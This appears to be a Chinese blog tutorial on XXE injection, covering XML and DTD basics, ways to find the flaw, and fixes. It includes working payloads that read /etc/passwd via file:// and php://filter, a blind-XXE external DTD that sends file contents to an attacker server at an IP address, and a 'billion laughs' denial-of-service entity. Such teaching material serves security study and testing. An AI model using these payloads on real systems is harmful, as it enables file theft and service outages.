XXE XML 外部实体注入

XXE XML 外部实体注入

概述

XML(可扩展标记语言,Extensible Markup Language) 是一种用于存储和传输数据的标记语言,具有高度的灵活性和可扩展性。XML 允许用户自定义标签,相较于受严格约束的 HTML(实际上是 XML 的一个特化应用),XML 的标签定义更加自由。

XXE(XML External Entity Injection,XML 外部实体注入) 是一种常见的安全漏洞,攻击者通过构造恶意的 XML 输入,利用服务器对 XML 的解析机制加载外部实体,从而可能导致敏感信息泄露、拒绝服务攻击(DoS)、GetShell 等问题。

XML 与 DTD 基础

XML 简介

XML 是一种用于结构化数据的标记语言,广泛应用于数据交换、配置文件存储等场景。其语法结构由标签、属性和内容组成,示例如下:

<?xml version="1.0" encoding="UTF-8"?>
<!-- XML 声明:指定 XML 版本为 1.0,字符编码为 UTF-8 -->

<note>
    <!-- 根元素:表示这是一个便签/笔记文档 -->
    
    <to>Alice</to>
    <!-- 收件人元素:指定便签的接收者是 Alice -->
    
    <from>Bob</from>
    <!-- 发件人元素:指定便签的发送者是 Bob -->
    
    <message>Hello, World!</message>
    <!-- 消息内容元素:包含实际的消息文本 "Hello, World!" -->
</note>

XML 的灵活性在于其标签可以根据需求自由定义,而无需遵循预定义的结构。

DTD(文档类型定义)

DTD(Document Type Definition,文档类型定义) 是 XML 的元语言,用于定义 XML 文档的结构和合法元素、属性等规则。DTD 可以嵌入在 XML 文档内部(内部 DTD),也可以通过外部文件引用(外部 DTD)。

DTD 示例

<!DOCTYPE class_system [
<!-- DTD 文档类型定义开始,根元素为 class_system -->

    <!ELEMENT class_system (departments)>  
    <!-- 根元素 class_system 包含一个 departments 子元素 -->
    
    <!ELEMENT departments (department+)>  
    <!-- departments 元素包含一个或多个 department 子元素(+表示至少出现一次) -->
    
    <!ELEMENT department (dept_name, headcount, location)>  
    <!-- department 元素必须包含 dept_name、headcount、location 三个子元素,且按此顺序 -->
    
    <!ELEMENT dept_name (#PCDATA)>  
    <!-- dept_name 元素包含可解析的字符数据 -->
    
    <!ELEMENT headcount (#PCDATA)>  
    <!-- headcount 元素包含可解析的字符数据 -->
    
    <!ELEMENT location (#PCDATA)>  
    <!-- location 元素包含可解析的字符数据 -->
]>

内部 DTD 与外部 DTD

  • 内部 DTD:直接嵌入在 XML 文件中,定义在 <!DOCTYPE> 标签内。

    <?xml version="1.0" encoding="UTF-8"?>
    <!-- XML声明:指定 XML版本为1.0,字符编码为UTF-8 -->
    
    <!DOCTYPE note [
        <!-- 文档类型定义 (DTD) 开始,定义 note 文档的结构和实体 -->
    
        <!ENTITY greeting "Hello, World!">
        <!-- 定义了一个名为 greeting 的实体,其值为 "Hello, World!" -->
    ]>
    
    <note>
        <!-- 根元素 note 开始 -->
    
        <message>&greeting;</message>
        <!-- message 元素内容引用了greeting实体,
             解析时 &greeting; 会被替换为 "Hello, World!" -->
    </note>
    
  • 外部 DTD:通过 SYSTEMPUBLIC 关键字引用外部 DTD 文件。

    <!DOCTYPE note SYSTEM "note.dtd">
    <!--
    声明结构:
        - `!DOCTYPE`       → 表示开始文档类型定义
        - `note`          → 指定根元素为 <note>
        - `SYSTEM`        → 表示引用外部 DTD 文件
        - "note.dtd"      → 外部 DTD 文件路径
    -->
    

DTD 实体

DTD 实体 可以理解为 XML 中的变量,用于存储可复用的数据。实体分为 内部实体外部实体,并通过 &entity_name; 的方式调用。

内部实体

内部实体是在 DTD 中直接定义的变量,内容由开发者直接提供。

<!DOCTYPE note [
    <!ENTITY greeting "Hello, World!">
]>
<note>
    <message>&greeting;</message>
</note>

解析后,&greeting; 将被替换为 Hello, World!

外部实体

外部实体通过 SYSTEM 关键字引用外部资源(如文件或 URL),其内容由外部资源提供。

<!DOCTYPE note [
    <!ENTITY external SYSTEM "https://example.com/data.txt">
]>
<note>
    <message>&external;</message>
</note>

如果服务器允许加载外部实体,&external; 将被替换为 https://example.com/data.txt 的内容。这正是 XXE 漏洞的根源。

参数实体

参数实体 是一种特殊的实体,仅能在 DTD 内部使用,通过 %entity_name; 调用。参数实体通常用于定义可复用的 DTD 片段。

内部参数实体

<!DOCTYPE note [
    <!-- 定义参数实体 %param,内容为 "Hello, World!"(只能在DTD内部使用) -->
    <!ENTITY % param "Hello, World!">
    
    <!-- 定义普通实体 greeting,其值引用参数实体 %param 的内容 -->
    <!ENTITY greeting "%param;">
]>
<note>
    <!-- 引用 greeting 实体,最终显示参数实体 %param 定义的内容 -->
    <message>&greeting;</message>
</note>

外部参数实体

<!DOCTYPE note [
    <!-- 定义参数实体 %external,引用外部 DTD 文件(SYSTEM 表示外部资源) -->
    <!ENTITY % external SYSTEM "http://example.com/data.dtd">
    
    <!-- 引用参数实体 %external,将加载并合并远程 DTD 内容到当前 DTD 中 -->
    %external;
]>

外部参数实体可能引入外部 DTD 文件,从而导致潜在的安全风险。

产生原因

  • 未过滤的 XML 输入:系统未对用户提交的 XML 文档进行结构验证或内容过滤或是做严格限制,允许攻击者可以传入任意的 XML,或插入恶意构造的 XML 内容。
  • 外部实体加载未禁用:XML 解析器默认启用了外部实体(External Entity)解析功能,允许外部实体加载,未通过配置显式关闭。

漏洞挖掘

白盒审计

  1. 在代码审计中,重点关注以下几个方面:

    1. XML 解析相关函数

      • PHP:loadXML()simplexml_load_string()simplexml_import_dom()
      • Java:DocumentBuilderSAXParser
      • Python:xml.etree.ElementTreelxml
    2. 用户输入点:检查用户是否可以通过请求(如 POST 数据)传入 XML。

    3. 外部实体加载配置:检查 XML 解析器是否启用了外部实体解析。例如:

      • PHP 中,libxml_disable_entity_loader(false) 表示允许外部实体加载。

截图示例

image-20250716203352080

黑盒挖掘

有回显挖掘

在黑盒测试中,可通过以下步骤挖掘 XXE 漏洞:

  1. 检查请求体是否支持 XML

    • 观察请求体是否为 XML 格式。
    • 尝试修改 Content-Type 头部为 application/xml,测试服务器能否传入 XML 数据。
  2. 测试外部实体解析

    • 构造包含外部实体的 XML,尝试加载远程 URL 或本地文件,测试服务器能否解析 XML 中的实体。

截图示例:测试外部实体解析

image-20250717095405743

无回显挖掘(盲 XXE)

在无回显场景下,可通过以下方法检测 XXE 漏洞:

  1. HTTP 请求查询

    • 在 DTD 里定义一个外部实体,外部实体值是自己开启的 URL 链接。
  • 看 URL 是否有访问记录,如果有,说明实体被解析,则有 XXE 漏洞。
  • 看到有相同 URI 记录的 HTTP 请求,说明 XML 中的实体被解析,目标存在 XXE 漏洞。

没有云服务器可以使用 BurpSuite 自带的 HTTP 记录,CollarBorator 模块。

  1. DNS 解析查询

    • 使用 BurpSuite 或其他方式获取一个域名。
    • 为域名增加一个子域名,随后将域名写于 DTD,并发送请求包。
    • 查看 DNS 解析是否存在增加的子域名,若存在,则目标存在 XXE 漏洞。

截图示例

  • HTTP 请求查询: image-20250717112124858
  • 子域名 DNS 解析查询: image-20250717135503361

XXE 漏洞利用

利用伪协议

XXE 漏洞常通过伪协议(如 file://php://filter)读取文件内容。

  1. file://

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
        <!ENTITY a SYSTEM "file:///etc/passwd">
    ]>
    <root>
        <username>&a;</username>
        <password>password</password>
    </root>
    
  2. php://filter

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
        <!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    ]>
    <root>
        <username>&a;</username>
        <password>password</password>
    </root>
    

截图示例:利用伪协议

image-20250717195004025

利用外部 DTD

WAF 可能会拦截 file://php://filter 伪协议,因此可以把 DTD 放在自己的攻击机上,让受害者靶机远程访问加载 DTD。

  1. 攻击机上的 DTD 文件

    <!ENTITY a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    
  2. 构造 payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    	<!ENTITY % b SYSTEM "http://192.168.2.101:8000/phpfilter.dtd">
    	%b;
    ]>
    <root>
        <username>&a;</username>
        <password>password</password>
    </root>
    
  3. 步骤

    • 在攻击机上托管 DTD 文件并启动 HTTP 服务。
    • 发送 payload,诱导目标服务器加载外部 DTD。
    • 检查回显,获取目标服务器的信息。

截图示例:利用外部 DTD

image-20250717195259717

盲打 XXE

在无回显场景下,可通过外部 DTD 将数据外带至攻击者服务器。

  1. 攻击机上的 DTD 文件

    <!ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!-- 定义一个外部参数实体 a,通过 php://filter 读取 /etc/passwd 并 base64 编码 -->
    
    <!ENTITY % b "<!ENTITY &#37; c SYSTEM 'http://8.140.229.98:8000/?result=%a;'>">
    <!-- 定义一个内部参数实体 b,内容是外部参数实体 c -->
    <!-- 外部参数实体 c 向 http://8.140.229.98:8000 携带参数发送请求 -->
    <!-- 参数引用外部参数实体 a,获取系统 /etc/passwd 内容 -->
    <!-- &#37; 是百分号 % 的 HTML 实体编码 -->
    
    %b;
    <!-- 调用实体 b -->
    %c;
    <!-- 调用实体 c -->
    
  2. 构造 payload

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    	<!ENTITY % d SYSTEM "http://192.168.2.101:8000/shell.dtd">
    	%d;
    ]>
    <root>
        <username>admin</username>
        <password>password</password>
    </root>
    
  3. 步骤

    • 托管 DTD 文件并启动 HTTP 服务。
    • 发送 payload,诱导目标服务器加载外部 DTD。
    • 检查攻击机日志,获取外带的数据(如 Base64 编码的 /etc/passwd 内容)。

截图示例

  • 盲 XXE 利用: xxe
  • 盲打 XXE: image-20250717195717391

命令执行(基本不可能)

利用 expect:// 伪协议执行命令,但 PHP 默认禁用该协议,实际场景中成功率极低。

DDOS 攻击

通过构造递归实体(如“十亿次笑声”攻击),耗尽服务器内存或 CPU 资源,中间件卡死。

<!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!-- 递归扩展导致内存耗尽 -->
]>
<lolz>&lol3;</lolz>

修复

  1. 禁用外部实体解析

    • PHP:设置 libxml_disable_entity_loader(true)
    • Java:配置 DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    • Python:使用 defusedxml 库替代标准库。
  2. 过滤伪协议:拦截 file://php://filterexpect:// 等伪协议。

  3. 验证 XML 输入:对用户提交的 XML 进行严格的结构和内容验证,限制 DTD 和外部实体使用。

 

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇